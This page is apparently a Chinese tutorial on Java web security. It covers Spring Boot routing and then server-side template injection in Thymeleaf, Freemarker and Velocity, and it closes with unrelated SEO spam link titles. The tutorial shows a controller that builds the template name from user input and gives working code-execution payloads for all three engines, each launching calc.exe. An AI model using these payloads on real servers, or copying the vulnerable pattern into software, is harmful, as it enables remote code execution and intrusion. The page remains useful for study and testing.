当前位置: 首页 > wzjs >正文

企业做网站做什么科目头条收录提交入口

企业做网站做什么科目,头条收录提交入口,php网站建设模板,网站改版Excel怎么做知识点: 1、安全开发-JavaEE-开发框架-SpringBoot&路由&传参 2、安全开发-JavaEE-模版引擎-Thymeleaf&Freemarker&Velocity 一、演示案例-WEB开发-JavaEE-开发框架-SpringBoot&路由&传参 类似于php语言中的thinkphp,不过要更加…

知识点:
1、安全开发-JavaEE-开发框架-SpringBoot&路由&传参
2、安全开发-JavaEE-模版引擎-Thymeleaf&Freemarker&Velocity

一、演示案例-WEB开发-JavaEE-开发框架-SpringBoot&路由&传参

类似于php语言中的thinkphp,不过要更加优秀。
参考:https://springdoc.cn/spring-boot/

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

1、路由映射

@RequestMapping @GetMapping等

2、参数传递

@RequestParam

3、数据响应

@RestController @Controller(请求)
@RestController注解相当于@ResponseBody(响应)+@Controller(请求)合作用。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

二、演示案例-WEB开发-JavaEE-模版引擎-Thymeleaf&Freemarker&Velocity

Thymeleaf

参考:https://xz.aliyun.com/news/9962

1、新建SpringBoot项目包含Web,Thymeleaf

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2、配置application.properties修改缓存

在这里插入图片描述

3、创建模版目录和文件,文件定义修改变量

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

4、新建Controller目录及文件,指定路由配置

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

5、更换SpringBoot及Thymeleaf版本测试POC

@Controller
public class IndexController {@RequestMapping("/index")public String index(Model model) {
//替换模版html文件中的data变量值
model.addAttribute("data", "你好 小迪");
//使用index模版文件return "index";}

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

    @RequestMapping("/indexs")public String index(Model model,@RequestParam String lang) {
//替换模版html文件中的data变量值
model.addAttribute("data", "Hello xiaodi");
//使用index+变量lang模版文件return "index-"+lang;}
}

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

利用条件:Thymeleaf漏洞版本,可控渲染模版文件
Poc:__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc.exe%22).getInputStream()).next()%7d__::.x

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Freemarker

参考:https://mp.weixin.qq.com/s/TtNxfSYsB4HMEpW_OBniew

1、新建SpringBoot项目包含Web,Freemarker

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2、配置application.properties修改缓存

在这里插入图片描述

3、创建模版目录和文件,文件定义修改变量

在这里插入图片描述
在这里插入图片描述

4、新建Controller目录及文件,指定路由配置

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

5、更换SpringBoot及Freemarker版本测试POC

 <#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc.exe").start()}<#assign value="freemarker.template.utility.JythonRuntime"?new()>${value("calc.exe")}<@value>import os;os.system("calc.exe")</@value>//@value为自定义标签利用条件:可控渲染的模版文件

Velocity

在这里插入图片描述
在这里插入图片描述
参考:https://blog.csdn.net/2401_83799022/article/details/141600988

<dependency><groupId>org.apache.velocity</groupId><artifactId>velocity</artifactId><version>1.7</version>
</dependency>

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Poc:%23set($e%3D"e")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc")

在这里插入图片描述

利用条件:Velocity漏洞版本,可控模版变量或文件

在这里插入图片描述
在这里插入图片描述

http://www.dtcms.com/wzjs/54130.html

相关文章:

  • 科技网站制作免费的网站域名查询565wcc
  • 电子商务网站设计书代码编程教学入门
  • 工程公司名称大全集最新免费真人seo点击平台
  • 微信小程序可以做音乐网站吗广州今日头条新闻最新
  • 网站建设工作室深圳牡丹江网站seo
  • 赤峰网站建设北京环球影城每日客流怎么看
  • 苏州网站建设网站建设宁波受欢迎全网seo优化
  • 深圳乐从网站建设代做seo关键词排名
  • 成都营销型网站建设上海aso优化公司
  • 搭建网站步骤百度应用商店
  • seo是什么意思广东话深圳网站seo优化
  • php图片展示网站seo推广是什么意思
  • 公司做完网站怎么搜不到厦门小鱼网
  • 怎么用ps做网站幻灯片网络推广方案的基本思路
  • wordpress 小程序 插件一键优化
  • 武汉网站推广服务软件中国搜索引擎有哪些
  • 网站规划的原则seo技术顾问阿亮
  • 在哪个网站上可以学做衣服刷神马网站优化排名
  • wordpress 代码执行常见的系统优化软件
  • 免费营销型企业网站模板品牌策划
  • 上海崇明林业建设有限公司网站做一个官网要多少钱
  • 李志自己做网站中国seo第一人
  • 微山建设局网站自媒体培训
  • 找建站公司百度一下百度网站
  • CSS3网站开发59软文网
  • 做壁画在哪个网站建设网站公司
  • 大连网站制作培训优秀网站网页设计图片
  • 怎样用jsp做网站百度指数如何分析
  • 台州模板建站代理全网品牌推广
  • 阿里巴巴的免费b2b网站我想在百度上做广告怎么做